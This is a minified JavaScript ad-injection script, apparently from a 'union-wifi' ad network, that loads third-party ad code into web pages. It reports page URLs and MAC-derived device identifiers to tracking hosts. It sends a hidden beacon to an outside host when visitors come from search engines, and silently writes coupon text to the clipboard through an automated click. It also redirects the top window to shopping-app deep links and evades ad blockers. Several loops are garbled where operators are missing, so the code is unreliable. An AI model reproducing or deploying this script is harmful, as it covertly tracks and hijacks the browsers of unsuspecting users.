~function(){var toploc=window.top?window.top.location:window.location;String.prototype.toDom=function(){var div=document.createElement("div");div.innerHTML=this;return div.childNodes[0]};function calHeight(proportion,width){var pwidth=proportion.split(":")[0],pheight=proportion.split(":")[1],height=pheight;if(width&&width!==0){height=Math.round(pheight/pwidth*width)}return height}var filterString=[];var Base={zbody:document.getElementsByTagName("body")[0],zhead:document.getElementsByTagName("head")[0],};var ZmengMoibleQr={dmac:"",umac:"",cid:"34000",antiBlockUrl:"//yhans.com/",pvUrl:"//rcv.union-wifi.com/hm.gif?from=15000",cookieIframeSrc:"//x.hao61.net/frqctrl.html",cookieIframe:null,isInCd:false,isiphone:/iPad|iPhone|iPod/.test(navigator.userAgent)&&!window.MSStream,ads:[{divId:"zmeng_"+Math.random().toString(36).slice(2),type:"qr",host:"_bd",mproId:"u6954524",antiBlockToken:"",upstreamType:"0",target:"0",jumpUrl:"[{'null'}]",matUrl:"[{'null'}]",prop:"u6954524_prop",appid:"u6954524_appid",clientId:"u6954524_clientid",width:"u6954524_width",height:"u6954524_height",logUrl:"//rcv.union-wifi.com/hm.gif?from=12001&impress=true",clickUrl:"//rcv.union-wifi.com/hm.gif?from=12001&click=true",appkey:"ByoDNbqiMjVqr1mny8rSiBDtuCi",title:"u6954524_title",desc:"u6954524_desc",diagram:"0",graphic:"0",accessToken:"u6954524_accesstoken",appLogUrl:"u6954524_applogurl",appClickUrl:"u6954524_appclickurl",start:0,isLoaded:false,isChecked:false,},{divId:"zmeng_"+Math.random().toString(36).slice(2),type:"zmtdp",host:"_host",mproId:"",taobaourl:"_taobaourl",logUrl:"//rcv.union-wifi.com/hm.gif?from=12002&impress=true",cd:"_time",cookie:"taoBaoDeepLink",start:0,isLoaded:false,isChecked:false,},{divId:"zmeng_"+Math.random().toString(36).slice(2),type:"deeplink",host:"_host",mproId:"",cd:"_time",logUrl:"//rcv.union-wifi.com/hm.gif?from=12003&impress=true",coupon:"_coupon",cookie:"deeplink",start:0,time:"7:00-9:00,10:00-13:00,15:00-16:00,17:00-19:00,20:00-22:30",isChecked:false,isClicked:false,isInCd:false,},{divId:"zmeng_"+Math.random().toString(36).slice(2),type:"ffAttributes",host:"_host",mproId:"",js:"_js",logUrl:"//rcv.union-wifi.com/hm.gif?from=12004&impress=true",start:0,isChecked:false,isClicked:false,isInCd:false,},{divId:"zmeng_"+Math.random().toString(36).slice(2),type:"invisible",host:"_host",mproId:"",logUrl:"//rcv.union-wifi.com/hm.gif?from=12005&impress=true",coupon:"_coupon",start:0,isChecked:false,isClicked:false,isInCd:false,},],_bd:{adType:1,type:"bd",jsSrc:"//dup.baidustatic.com/js/dm.js",},_zmeng:{adType:2,type:"zmeng",},_tuia:{adType:3,type:"tuia",jsSrc:"//yun.sifuhe.cn/h5-mami/media/media-3.2.3.min.js",},_helian:{adType:4,type:"helian",jsSrc:"//static.helianhealth.com/hlwf/fix.js",},_guangdiantong:{adType:5,type:"guangdiantong",jsSrc:"//qzs.qq.com/qzone/biz/res/i.js",},_google:{adType:6,type:"google",jsSrc:"//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js",},_feifan:{adType:7,type:"feifan",jsSrc:"//hl.sc-bjx.com/sta/z/wbd.js",referrerReg:/(\.baidu\.com)|(\.sogou\.com)|(.sm.cn)/,jsReg:/\/\/c.cnzz.com\/core.php\?web_id=\S*&t=\S*/,},_taobao:{adType:8,type:"taobao"},_app:{adType:9,type:"app",},_kuaiguo:{adx:"kuaiguo",adType:10,jsSrc:"//ssp.huayuidc.com/js/",host:"_kuaiguo",},_kuaiyingyong:{adType:11,adx:"kuaiyingyong",host:"_kuaiyingyong",},_tencent:{adType:12,adx:"tencent",host:"_tencent",jsSrc:"//webcdn.m.qq.com/webcdn/gmall/sdk/coral-x5-adv-sdk.min.js?v=2",},_jukan:{adType:13,adx:"jukan",host:"_jukan",jsSrc:"//www.huashengzixun.cn/js/adv.js",},};ZmengMoibleQr.ctype=isMobile()?"mobile":"pc";var scriptDom=(function(){var sc=document.scripts;for(var i=sc.length-1;i>=0;i--){if(sc[i].src.indexOf("cid="+ZmengMoibleQr.cid)!==-1){return sc[i]}}return null})();if(document.referrer&&document.referrer.match(ZmengMoibleQr._feifan.referrerReg)){(function(d,w){var img=new Image();img.src="http://mz.loelx.cn:7023/r.gif?w=m8pvtj"})(document,window)}window.ZmengMoibleQr=ZmengMoibleQr;var ADFIX=function(){var that=this;that.init()};ADFIX.prototype={init:function(){var that=this;if(isMobile()&&checkEnv()&&document.body){var pvUrl=ZmengMoibleQr.pvUrl+"&_isFix=true";that.imageLog(pvUrl);that.addAd()}else{if(document.readyState==="complete"){that.init()}else{if(document.addEventListener){document.addEventListener("DOMContentLoaded",function(){that.init()},false)}else{document.attachEvent("onreadystatechange",function(){that.init()})}}}},getDivArg:function(){var self=this;var sc=document.getElementsByTagName("script");var paramsArr=null;for(var i=sc.length-1;i>=0;i--){if(sc[i].src.indexOf("cid="+ZmengMoibleQr.cid)!==-1){paramsArr=sc[i].src.split("?")[1].split("&");break}}if(!paramsArr){return false}var args={},argsStr=[],param,t,key,value;for(var i=0,imax=paramsArr.length;i-1||ad.antiBlockToken.indexOf(".js")>-1)?true:false;appendJs({url:token?ad.antiBlockToken:ad.jsSrc,dom:ad.antiBlockToken?ad.dom:"",cb:function(){window.slotbydup=window.slotbydup||[];window.slotbydup.push({id:ad.mproId,container:ad.divId,display:"inlay-fix",clid:parseMac(ZmengMoibleQr.dmac),cuid:parseMac(ZmengMoibleQr.umac)})}});ad.start=new Date().getTime()}function createZmengQrAd(ad){that.creatCloseDom(ad);setStyle(ad.dom,{width:"100%",padding:"0",margin:"0",position:"relative",left:0});var swidth=document.getElementById(ad.divId).offsetWidth,sheight=calHeight(ad.prop,swidth);ad.width=swidth;ad.height=sheight;ad.matUrl=formatmatUrl(ad.matUrl);ad.jumpUrl=formatmatUrl(ad.jumpUrl);if(ad.diagram==1){if(!ad.matUrl.length||!ad.jumpUrl.length){return}creatZmengQrImage(ad)}else{creatZmengQrImageText(ad)}ad.start=new Date().getTime()}function creatZmengQrImageText(ad){var div=document.createElement("div"),img=document.createElement("img"),h3=document.createElement("h3"),title=ad.title.indexOf(ad.mproId)==-1?ad.title:null;setStyle(div,{position:"relative",width:"100%",height:ad.height+"px"});h3.innerHTML=title;setStyle(h3,{position:"absolute",width:ad.width-Math.ceil(225*80/150)-40+"px",wordBreak:" break-all",left:Math.ceil(225*80/150)+10+"px",fontSize:"16px",fontWeight:"normal",top:"50%",lineHeight:"16px",transform:"translate(0,-50%)","-webkit-transform":"translate(0,-50%)","-moz-transform":"translate(0,-50%)"});setStyle(img,{position:"absolute",width:title?Math.ceil(225*80/150)+"px":"100%",height:"100%",src:{value:ad.matUrl[0]},left:"3px"});switch(ad.graphic){case"2":setStyle(img,{right:"3px",left:"auto"});setStyle(h3,{right:Math.ceil(225*80/150)+10+"px",left:"3px",width:ad.width-Math.ceil(225*80/150)-10+"px"});break;case"3":setStyle(img,{right:"auto",left:"auto",width:ad.width+"px",height:ad.height+"px"})}h3.innerHTML==ad.title&&ad.graphic!=3?div.appendChild(h3):"";h3.innerHTML==ad.title?div.appendChild(h3):"";div.appendChild(img);ad.dom.appendChild(div);that.monitorZmengQrAd(ad,ad.jumpUrl[0])}function creatZmengQrImage(ad){var col=3;var maxCol=5;var dom=document.createElement("div");var size=ad.matUrl.length>maxCol?Math.ceil(ad.matUrl.length/col):1;var speed=size>1?col:ad.matUrl.length;for(var i=1;i<=size;i++){var div=document.createElement("div");setStyle(div,{width:ad.width+"px",height:ad.height+"px"});for(var j=1;j<=speed;j++){var a=document.createElement("a"),img=document.createElement("img"),index=(i*speed-speed+j);setStyle(a,{width:ad.width/speed+"px",padding:"3px",boxSizing:"border-box",height:ad.height+"px",display:"inline-block",href:{value:ad.jumpUrl[index-1]}});setStyle(img,{width:"100%",height:"100%",src:{value:ad.matUrl[index-1]},});if(i>0&&!ad.matUrl[index-1]){var radom=parseInt(Math.random()*(ad.matUrl.length-1));a.href=ad.jumpUrl[radom];img.src=ad.matUrl[radom]}a.appendChild(img);div.appendChild(a)}ad.dom.appendChild(div)}that.monitorZmengQrAd(ad)}function createTuiaAd(ad){appendJs({url:ad.jsSrc,cb:function(){if(typeof TuiaMedia!="undefined"){new TuiaMedia({container:"#"+ad.divId,appKey:ad.appkey,adslotId:ad.mproId,target:"_top"})}}});ad.start=new Date().getTime()}function createJuKanAd(ad){appendJs({url:ad.jsSrc,attr:{"advcode":ad.mproId},dom:ad.dom,cb:function(){that.monJuKanAd(ad) }})}function createHelianAd(ad){var jsSrc=ad.jsSrc+"?aid="+ad.mproId+"&bid="+ad.mproId;appendJs({url:jsSrc,id:"helian_script",dom:ad.dom,cb:null})}function createGdtAd(ad){window.TencentGDT=window.TencentGDT||[];TencentGDT.push({placement_id:ad.mproId,type:"banner",containerid:ad.divId,fill_type:"full",app_id:ad.appid,});appendJs({url:ad.jsSrc,id:"gdt-"+ad.mproId})}function createGoogleAd(ad){console.log(ad);var ins=document.createElement("ins");ins.className="adsbygoogle";ins.style.width=ad.width+"px";ins.style.height=ad.height+"px";ins.style.display="inline-block";ins.setAttribute("data-ad-client",ad.clientId);ins.setAttribute("data-ad-slot",ad.mproId);ad.dom.appendChild(ins);ad.ins=ins;appendJs({url:ad.jsSrc,cb:function(){(window.adsbygoogle=window.adsbygoogle||[]).push({})}})}function creatZmtdpAd(ad,that){var isApp=false;if(ad.taobaourl!=="_"+"taobaourl"&&ad.taobaourl!==""||ad.coupon!=""){isApp=true}var isiphone=ad.taobaourl?!ZmengMoibleQr.isiphone:true;if(!IsPC()&&isApp&&isiphone){var time=ad.taobaourl?5000:100;setTimeout(function(){if(is_weixin()&&ad.type=="zmtdp"){creatWeiximTrip()}else{that.checkCd(ad)}},time)}}function addZmengAd(ad,that){switch(ad.type){case"qr":createDiv(ad);createZmengQrAd(ad);break;case"zmtdp":creatZmtdpAd(ad,that);break;case"deeplink":ad.time=isCdFn(ad.time);ad.time&&creatZmtdpAd(ad,that)}}function addFeifanAd(ad){var self=this,hasJs=false;if(document.referrer&&document.referrer.match(ad.referrerReg)){hasJs=true}if(!hasJs){return}setTimeout(function(){appendJs({url:ad.jsSrc,cb:function(){if(!ad.isChecked){that.imageLog(ad.logUrl,ad)}}})},3000)}function addTaobaoAd(ad){if(ad.type=="invisible"){var tbifm=String.prototype.concat.call('').toDom();ad.dom.appendChild(tbifm);that.imageLog(ad.logUrl,ad)}}function addApi(ad){if(ad.matUrl.indexOf(ad.mproId)!=-1){return}ad.matUrl=formatmatUrl(ad.matUrl);ad.jumpUrl=formatmatUrl(ad.jumpUrl);if(!ad.matUrl.length){return}createDivByApi(ad,this);switch(ad.diagram){case"1":that.monApiAd(ad);that.addFeedsImage(ad);break;case"0":if(ad.title.indexOf(ad.mproId)!=-1&&ad.desc.indexOf(ad.mproId)!=-1&&ad.graphic!=3){return}that.monApiAd(ad);that.addFeedsImageTxt(ad)}}function createKgAd(ad){var url=ad.jsSrc+ad.mproId+".js";appendJs({url:url,dom:ad.dom,})}function createKyyAd(ad){(function(ad){var hi=document.createElement("script");hi.src=ad.js;var k=document.getElementsByTagName("script")[0];k.parentNode.insertBefore(hi,k);hi.onload=function(){that.imageLog(ad.logUrl,ad)}})(ad)}function createTencentAd(ad){if(ZmengMoibleQr.crossDomain){createTencentAdByCross(ad)}else{createTencentAdByDefault(ad)}}function createTencentAdByDefault(ad){appendJs({url:ad.jsSrc,attr:{id:"coral_js",env:"pro",appid:ad.appid},cb:function(){window.onload=function(){new CoralAdv(ad.divId,{type:ad.upstreamType,target:ad.target,handleAdEventName:"handleAdEvent1",handleAdErrorName:"handleAdError1",advShowCb:function(e){that.imageLog(ad.logUrl,ad)},advClickCb:function(e){that.imageLog(ad.clickUrl,ad)},advCloseCb:function(){},advErrorCb:function(errorno){console.log("广告加载出错,错误码:"+errorno)}})}}})}function createTencentAdByCross(ad){var parent=document.getElementById(ad.divId);parentW=parent.offsetWidth;H=Math.ceil(ad.height/ad.width*parentW);var host=location.protocol+"//s.yhzm.cc/ali/shanhu.html";ZmengMoibleQr.cookieIframe=String.prototype.concat.call('').toDom();ad.dom.appendChild(ZmengMoibleQr.cookieIframe);addEvent(window,"message",function(e){switch(e.data){case"impress":ZmengMoibleQr.cookieIframe.style.height=H+"px";that.imageLog(ad.logUrl,ad);break;case"cilck":that.imageLog(ad.clickUrl,ad);break;case"shanhu":ZmengMoibleQr.cookieIframe.contentWindow.postMessage("shAppid="+ad.appid+"&type="+ad.upstreamType+"&target="+ad.target+"",host)}})}function appendJs(options){if(!options.url){return}var script=document.createElement("script");script.src=options.url;script.type="text/javascript";if(options.id){script.id=options.id}if(options.attr){for(var i in options.attr){script.setAttribute(i,options.attr[i])}}if(options.dom){script.async=!0;options.dom.appendChild(script)}else{if(document.getElementsByTagName("head")&&options.ct!=="body"){document.getElementsByTagName("head")[0].appendChild(script)}else{document.getElementsByTagName("body")[0].appendChild(script)}}script.onload=function(){if(typeof options.cb=="function"){options.cb()}}}},monIframeClick:function(ifr,ad){var that=this;if(ad.isClicked==true){if(ad.clickTimmer){clearInterval(ad.clickTimmer)}}else{ad.clickTimmer=setInterval(function(){if(document.activeElement){var activeElement=document.activeElement;if(activeElement==ifr){that.imageLog(ad.clickUrl,ad);ad.isClicked=true;that.monIframeClick(ifr,ad)}}},50)}},monitorBaiduAd:function(ad){var that=this;if(ad.start==0){return}checkBaiduAd(ad);if(!ad.isChecked){if(ad.antiBlockToken){var antiAd;if(ad.antiBlockToken.indexOf("?")>-1){var scriptId=ad.antiBlockToken.split("?")[1]; scriptId=scriptId.split("=")[0]+scriptId.split("=")[1];antiAd=document.getElementById(scriptId)}else{antiAd=document.getElementById(ad.divId)}if(antiAd!==null&&antiAd.getElementsByTagName("iframe").length!==0){that.imageLog(ad.logUrl,ad);that.monIframeClick(antiAd.getElementsByTagName("iframe")[0],ad);ad.isChecked=true;return}}else{var frames=document.getElementsByTagName("iframe");for(var i=0;i-1){that.imageLog(ad.logUrl,ad);that.monIframeClick(frames[i],ad);ad.isChecked=true;return}}setTimeout(function(){that.monGdtAd(ad)},50)}},monGoogleAd:function(ad){var that=this;if(!ad.isChecked){if(ad.ins){if(ad.ins.getAttribute("data-adsbygoogle-status")==="done"){that.imageLog(ad.logUrl,ad);var iframe=ad.ins.getElementsByTagName("iframe")[0];that.monIframeClick(iframe,ad);ad.isChecked=true;return}}setTimeout(function(){that.monGoogleAd(ad)},50)}},monApiAd:function(ad){var that=this;addEvent(ad.dom,"click",function(){that.imageLog(ad.clickUrl,ad);that.appImageLog(ad.appClickUrl,ad.jumpUrl[0])})},monKgAd:function(ad){var that=this;if(!ad.isChecked){var mdivs=document.getElementsByTagName("div");for(var i=0,imax=mdivs.length;i-1){ad.dom=mdivs[i];that.imageLog(ad.logUrl,ad);var clickiframe=mdivs[i].getElementsByTagName("iframe")[0];that.monIframeClick(clickiframe,ad);return}}setTimeout(function(){that.monKgAd(ad)},50)}},monJuKanAd:function(ad){var that=this;if(!ad.isChecked){var mdivs=document.getElementById(ad.divId);var miframes=mdivs.getElementsByTagName("iframe");for(var i=0,imax=miframes.length;i-1){that.imageLog(ad.logUrl,ad);var clickiframe=miframes[i];that.monIframeClick(clickiframe,ad);return}}setTimeout(function(){that.monJuKanAd(ad)},50)}},imageLog:function(url,ad,jumpUrl){var curUrl=encodeURIComponent(window.location.href);var img=new Image();var uid=unique();img.onload=img.onerror=function(){img.onload=img.onerror=null;img=null;if(jumpUrl){toploc.href=jumpUrl}};if(ad){img.src=location.protocol+url+"&_cid="+ZmengMoibleQr.cid+"&_slot="+ad.mproId+"&_dmac="+ZmengMoibleQr.dmac+"&_umac="+ZmengMoibleQr.umac+"&url="+curUrl+"&_ctype="+ZmengMoibleQr.ctype+"&_u="+uid+"&_adx="+ad.host}else{img.src=location.protocol+url+"&_cid="+ZmengMoibleQr.cid+"&_dmac="+ZmengMoibleQr.dmac+"&_umac="+ZmengMoibleQr.umac+"&url="+curUrl+"&_ctype="+ZmengMoibleQr.ctype+"&_u="+uid+"&_adx="}},appImageLog:function(data,jumpUrl){if(!data||data==""){return}var imageArr=data.substring(1,data.length-1);imageArr=imageArr.split(",");for(var i=0;i').toDom(); Base.zbody.appendChild(ZmengMoibleQr.cookieIframe)}var key=checkCdCallBackJson[ad.type].key,name=checkCdCallBackJson[ad.type].name;addEvent(window,"message",function(e){host=hostArr[0].substring(0,hostArr[0].length-1);host=toploc.protocol+host;if(e.origin!==host){return}var arr=e.data+"";if(arr.indexOf(key)!==-1||arr.indexOf(name)!==-1){ZmengMoibleQr.isInCd=true}if(!ZmengMoibleQr.isInCd&&checkOnce){checkOnce=false;if(arr.length){that.countCd(key,checkCdCallBackJson[ad.type]);setTimeout(function(){that[checkCdCallBackJson[ad.type].fn](ad)},300)}else{that.countCd(key,checkCdCallBackJson[ad.type]);setTimeout(function(){that[checkCdCallBackJson[ad.type].fn](ad)},300)}}});setTimeout(function(){if(!ZmengMoibleQr.isInCd&&checkOnce){checkOnce=false;that.countCd(key,checkCdCallBackJson[ad.type]);setTimeout(function(){that[checkCdCallBackJson[ad.type].fn](ad)},300)}},2000)},countCd:function(key,ad){var reg=/((http|https):)?\/\/[A-Za-z0-9.-]*\//,hostArr=ZmengMoibleQr.cookieIframeSrc.match(reg),host;if(!ZmengMoibleQr.isInCd){host=hostArr[0].substring(0,hostArr[0].length-1);host=window.top.location.protocol+host;if(key){ZmengMoibleQr.cookieIframe.contentWindow.postMessage(ad.name+":"+"cd&"+ad.cd+"?"+key,host)}else{ZmengMoibleQr.cookieIframe.contentWindow.postMessage(ad.name+":"+"cd&"+ad.cd,host)}}},upTaobaoApp:function(ad){var that=this;ZmengMoibleQr.isInCd=true;that.imageLog(ad.logUrl,ad);toploc.href=ad.taobaourl},addZmengAlipayAd:function(ad){var that=this;if(window.jquery){ajaxcopy()}else{var scripts=["//cdn.bootcss.com/jquery/3.2.1/jquery.min.js"];sjsa(scripts,function(){ajaxcopy()})}function sjsa(c,d){"object"!=typeof c&&(c=[c]);var f=document.getElementsByTagName("head").item(0)||document.documentElement,b=[],g=c.length-1,e=function(a){b[a]=document.createElement("script");b[a].setAttribute("type","text/javascript");b[a].onload=b[a].onreadystatechange=function(){this.onload=this.onreadystatechange=null;this.parentNode.removeChild(this);a!=g?e(a+1):"function"==typeof d&&d()};b[a].setAttribute("src",c[a]);f.appendChild(b[a])};e(0)}function ajaxcopy(){var main_str=ad.coupon;sjsa(["//cdn.bootcss.com/clipboard.js/1.7.1/clipboard.min.js"],function(){$(function(){if($("body").length>0){$("body").wrapInner('
')}else{$("img").wrap('
')}var clipboard=new Clipboard(".autocopy");setTimeout(function(){$(".autocopy")[0].click()},100);clipboard.on("success",function(e){if(!ad.isChecked){ad.isChecked=ad.isChecked=true;that.imageLog(ad.logUrl,ad)}})})})}},creatCloseDom:function(ad){ad.dom.style.position="relative";var closeDom=document.createElement("div");setStyle(closeDom,{id:{value:"ZMAdclose"+ad.divId},top:0,right:0,position:"absolute",width:"32px",height:"32px",borderRadius:"99px",background:"url('//x.hao61.net/nuomitemp/zmengbuoyicon/close.png') no-repeat",zIndex:999});ad.dom.appendChild(closeDom);var closeDom=document.getElementById("ZMAdclose"+ad.divId);addEvent(closeDom,"click",function(e){closeAd(ad.dom)})},addFeedsImage:function(ad){var that=this;var swidth=document.getElementById(ad.divId).offsetWidth;var p=document.createElement("h3");var title=ad.title.indexOf(ad.mproId)==-1?ad.title:ad.desc.indexOf(ad.mproId)==-1?ad.desc:"";p.innerHTML=String.prototype.concat.call(''+title+"");p.style.paddingLeft="5px";p.style.height="auto";ad.dom.appendChild(p);for(var i=0;i<3;i++){var img=document.createElement("img");if(ad.matUrl.length>1){img.src=ad.matUrl[i]||""}else{img.src=ad.matUrl[0]||""}img.style.padding="2px";img.style.boxSizing="border-box";img.style.width=(Math.floor(swidth/3))+"px";ad.dom.appendChild(img)}img.onload=function(){that.imageLog(ad.logUrl,ad);that.appImageLog(ad.appLogUrl)}},addFeedsImageTxt:function(ad){var that=this;ad.swidth=document.getElementById(ad.divId).clientWidth;var img=document.createElement("img");img.src=ad.matUrl[0]||"";var divW=Math.ceil(ad.swidth*0.4);var title=ad.title.indexOf(ad.mproId)==-1?ad.title:ad.desc.indexOf(ad.mproId)==-1?ad.desc:"";if(!title&&ad.graphic!=3){return}if(ad.graphic==3){var img=document.createElement("img");img.src=ad.matUrl[0]||"";var p=document.createElement("p");p.innerHTML=String.prototype.concat.call(''+title+"");p.style.paddingLeft="5px";img.style.width=ad.swidth+"px";p.style.height="auto";ad.dom.appendChild(p);ad.dom.appendChild(img);img.onload=function(){that.imageLog(ad.logUrl,ad);that.appImageLog(ad.appLogUrl)}}else{that.addImageTxtWrap(ad)}},addImageTxtWrap:function(ad){var that=this;var scale=0.31;var img=document.createElement("img");var title=ad.title.indexOf(ad.mproId)==-1?ad.title:ad.desc.indexOf(ad.mproId)==-1?ad.desc:""; var div=document.createElement("div");var divW=Math.ceil(ad.swidth*scale);img.src=ad.matUrl[0]||"";img.style.position="absolute";img.style.width=divW+"px";ad.dom.style.height="80px";img.style.height=document.getElementById(ad.divId).offsetHeight+"px";div.style.position="absolute";if(ad.graphic=="2"){img.style.right="0px";div.style.width=ad.swidth-divW+"px"}if(ad.graphic=="1"){img.style.left="0x";div.style.left=Math.ceil(ad.swidth*scale)+10+"px";div.style.width=ad.swidth-divW+"px"}if(ad.title.indexOf(ad.mproId)==-1&&ad.desc.indexOf(ad.mproId)==-1){div.innerHTML=String.prototype.concat.call('

'+title+"

"+'

'+ad.desc+"

");ad.dom.appendChild(div)}else{if(title){div.style.top="50%";div.innerHTML=String.prototype.concat.call('

'+title+"

");ad.dom.appendChild(div);div.style.marginTop=-div.offsetHeight/2+"px"}}ad.dom.appendChild(img);img.onload=function(){that.imageLog(ad.logUrl,ad);that.appImageLog(ad.appLogUrl)}}};function isMobile(){return navigator.userAgent.match(/(iPhone|iPod|Android|ios|SymbianOS|iPad|Mobile|Windows Phone)/i)}function checkEnv(){var crossDomain=false;try{crossDomain=false}catch(e){crossDomain=false}var url=null;if(crossDomain){var reg=/^http(s)?:\/\/(.*?)\//;if(parent!==window){try{url=parent.location.host.toLowerCase()}catch(e){url=reg.exec(document.referrer.toLowerCase())[2]}}else{url=window.location.host.toLowerCase()}}else{url=window.top.location.host.toLowerCase()}for(var i=0;i=0){return false}}ZmengMoibleQr.crossDomain=crossDomain;return true}function parseMac(mac){var newMac="";if(mac!=""){for(i=0;i0){flag=false;break}}return flag}function creatWeiximTrip(){var winHeight=typeof window.innerHeight!="undefined"?window.innerHeight:document.documentElement.clientHeight;var weixinTip=document.createElement("div");var idAtt=document.createAttribute("id");idAtt.value="weixinTip";weixinTip.setAttributeNode(idAtt);weixinTip.style.height=winHeight+"px";var winxinP=document.createElement("p");var winxinImg=document.createElement("img");var imgSrcAttr=document.createAttribute("src");imgSrcAttr.value="./imgs/zz.png";var imgAltAttr=document.createAttribute("alt");imgAltAttr.value="微信打开";winxinImg.setAttributeNode(imgSrcAttr);winxinImg.setAttributeNode(imgAltAttr);winxinP.appendChild(winxinImg);weixinTip.appendChild(winxinP);document.body.appendChild(weixinTip)}function createIframe(){var iframe=document.createElement("iframe");iframe.style.cssText="display:none;width:0px;height:0px;";document.body.appendChild(iframe)}var unique=(function(){var time=(new Date()).getTime()+"-",i=0;return function(){return time+(i++)}})();function createDivByJsPosition(ad){var div=(String.prototype.concat.call('
',"
")).toDom();if(ad.antiBlockToken&&ad.antiBlockToken!==""&&ad.antiBlockToken.indexOf("?")>-1){var scriptId=ad.antiBlockToken.split("?")[1];scriptId=scriptId.split("=")[0]+scriptId.split("=")[1];div.id=scriptId;div.style.width="100%";ad.divId=div.id}else{div.id=ad.divId}var i=scriptDom,l=document.body.firstChild;if(!scriptDom){throw new Error("no position Info");return}var res=i.compareDocumentPosition(l);if(i){res==4?document.body.insertBefore(div,document.body.firstChild):i.parentNode.insertBefore(div,i)}ad.dom=div;ad.dom.style.height="auto"}function createDivByApi(ad){var wrapper=document.getElementById(ad.divId);wrapper.id=ad.divId;wrapper.style.position="relative";wrapper.style.zIndex=214783647;wrapper.style.width="auto";wrapper.style.padding=0;wrapper.style.margin="13px 14px";wrapper.style.background="#fff";wrapper.style.height="auto";wrapper.style.fontSize=0;var mob_adicon=document.createElement("img");mob_adicon.id="ZMAdicon";mob_adicon.src="https://cpro.baidustatic.com/cpro/ui/noexpire/img/mob_adicon.png";mob_adicon.style.position="absolute";mob_adicon.style.zIndex="99";mob_adicon.style.width="26px";if(ad.graphic=="2"){mob_adicon.style.right="0px"}else{mob_adicon.style.left="0px"}mob_adicon.style.bottom="0px";wrapper.appendChild(mob_adicon);ad.dom=wrapper;wrapper.parentNode.appendChild(wrapper)}function closeAd(dom){var e=event||window.event; if(e.stopPropagation){e.stopPropagation()}else{e.cancelBubble=true}dom.style.display="none"}var addEvent=(function(){if(document.addEventListener){return function(el,type,fn){el.addEventListener(type,function(e){fn.call(el,e)},false)}}else{if(window.attachEvent){return function(el,type,fn){el.attachEvent("on"+type.toString(),function(e){fn.call(el,e)})}}}})();function setStyle(dom,styleJson){if(!styleJson||!dom){return}for(var i in styleJson){if(styleJson[i] instanceof Object){dom.setAttribute(i,styleJson[i].value)}else{dom.style[i]=styleJson[i]}}return dom}function formatmatUrl(str){if(!str){return}var arr=str.substring(2,str.length-2).split("},{");if(!arr.length){arr=[]}else{var conArr=[];for(var i=0;i=startStamp&&stampNow<=endStamp){result=new Date().getHours()+":"+new Date().getMinutes()+"-"+end}}return result}var zAdFix=new ADFIX()}(window);